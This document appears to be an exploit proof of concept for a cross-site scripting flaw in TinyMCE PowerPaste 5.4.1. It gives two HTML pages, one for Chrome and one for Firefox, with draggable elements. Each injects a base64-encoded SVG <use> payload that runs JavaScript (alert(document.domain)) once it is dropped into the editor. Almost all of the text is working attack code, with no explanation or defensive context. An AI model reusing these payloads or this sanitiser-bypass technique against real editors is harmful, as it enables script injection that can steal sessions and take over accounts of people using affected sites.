TinyMCE PowerPaste 5.4.1 Drag & Drop XSS

chrome.html

<style>
  #drag {
    position: absolute;
    font-size: 50px;
  }
</style>
<div id="drag" draggable="true">Drag me into the editor :)</div>
<script>
  var div = document.getElementById("drag");
  div.addEventListener("dragstart", (e) => {
    e.dataTransfer.setData(
      "text/html",
      '<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0iYSIgeG1sbnM6c3ZnPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPGEgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHhsaW5rOmhyZWY9ImphdmFzY3JpcHQ6YWxlcnQoZG9jdW1lbnQuZG9tYWluKSI+CiAgPGNpcmNsZSBjeD0iNTAiIGN5PSI1MCIgcj0iNDAiIHN0cm9rZT0iYmxhY2siIHN0cm9rZS13aWR0aD0iMyIgZmlsbD0icmVkIiAvPgo8L2E+Cjwvc3ZnPgo=#a"></use></svg>'
    );
  });
</script>

firefox.html

<style>
  #drag {
    position: absolute;
    font-size: 50px;
  }
</style>
<div id="drag" draggable="true">Drag me into the editor :)</div>
<script>
  var div = document.getElementById("drag");
  div.addEventListener("dragstart", (e) => {
    e.dataTransfer.setData(
      "text/html",
      '<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0iYSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgIHdpZHRoPSIxMDAwIiBoZWlnaHQ9IjEwMDAiPgogIDxmb3JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0iNTAiIHJlcXVpcmVkRXh0ZW5zaW9ucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+CjxpZnJhbWUgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIApzcmNkb2M9IiZsdDtzY3JpcHQKIHNyYz0nZGF0YTp0ZXh0L2phdmFzY3JpcHQsYWxlcnQoZG9jdW1lbnQuZG9tYWluKScKJmd0OyZsdDsvc2NyaXB0Jmd0OyIgLz48L2ZvcmVpZ25PYmplY3Q+PC9zdmc+Cg==#a"></use></svg>'
    );
  });
</script>